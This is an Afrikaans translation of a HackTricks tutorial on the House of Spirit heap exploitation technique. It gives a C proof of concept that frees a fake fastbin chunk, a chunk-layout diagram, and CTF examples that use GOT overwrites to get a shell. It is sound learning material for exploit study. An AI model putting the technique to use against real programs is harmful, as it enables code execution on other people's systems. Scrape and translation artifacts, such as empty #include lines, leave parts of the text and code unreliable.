House of Spirit

Ondersteun HackTricks

Basiese Inligting

Kode

Huis van Gees

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Doel

* Wees in staat om 'n adres in die tcache / vinnige bin in te voeg sodat dit later moontlik is om dit toe te ken

### Vereistes

* Hierdie aanval vereis dat 'n aanvaller in staat is om 'n paar valse vinnige stukke te skep wat korrek die grootte daarvan aandui en dan die eerste valse stuk vry te stel sodat dit in die bin beland.

### Aanval

* Skep valse stukke wat sekuriteitskontroles omseil: jy sal 2 valse stukke nodig hê wat basies die korrekte groottes op die regte posisies aandui
* Op een of ander manier die eerste valse stuk vry te stel sodat dit in die vinnige of tcache bin beland en dan dit toeken om daardie adres te oorskryf

**Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **is goed om die aanval te verstaan.** Alhoewel hierdie skema van die kode dit redelik goed opsom:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Let wel dat dit nodig is om die tweede blok te skep om sekere gesondheidskontroles te omseil.

Voorbeelde

  • Libc infoleak: Via 'n oorvloei is dit moontlik om 'n wyser te verander om na 'n GOT-adres te wys om 'n libc-adres te lek via die leesaksie van die CTF

  • House of Spirit: Deur 'n teller wat die aantal "gewere" tel te misbruik, is dit moontlik om 'n vals grootte van die eerste valse blok te genereer, dan deur 'n "boodskap" te misbruik, is dit moontlik om die tweede grootte van 'n blok vals te maak en uiteindelik deur 'n oorvloei te misbruik, is dit moontlik om 'n wyser te verander wat vrygestel gaan word sodat ons eerste valse blok vrygestel word. Dan kan ons dit toewys en binne-in daarvan gaan die adres wees waar "boodskap" gestoor word. Dan is dit moontlik om hierdie te laat wys na die scanf-inskrywing binne die GOT-tabel, sodat ons dit kan oorskryf met die adres na stelsel. Volgende keer as scanf geroep word, kan ons die inset "/bin/sh" stuur en 'n skaal kry.

  • Glibc-lek: Ongeïnisialiseerde stakingsbuffer.

  • House of Spirit: Ons kan die eerste indeks van 'n globale reeks van hoopwysers wysig. Met 'n enkele byte-wysiging gebruik ons free op 'n valse blok binne 'n geldige blok, sodat ons 'n oorvleuelende blokke-situasie kry na toewysing weer. Met dit werk 'n eenvoudige Tcache-vergiftigingsaanval om 'n willekeurige skryfprimitief te kry.

Verwysings

Last updated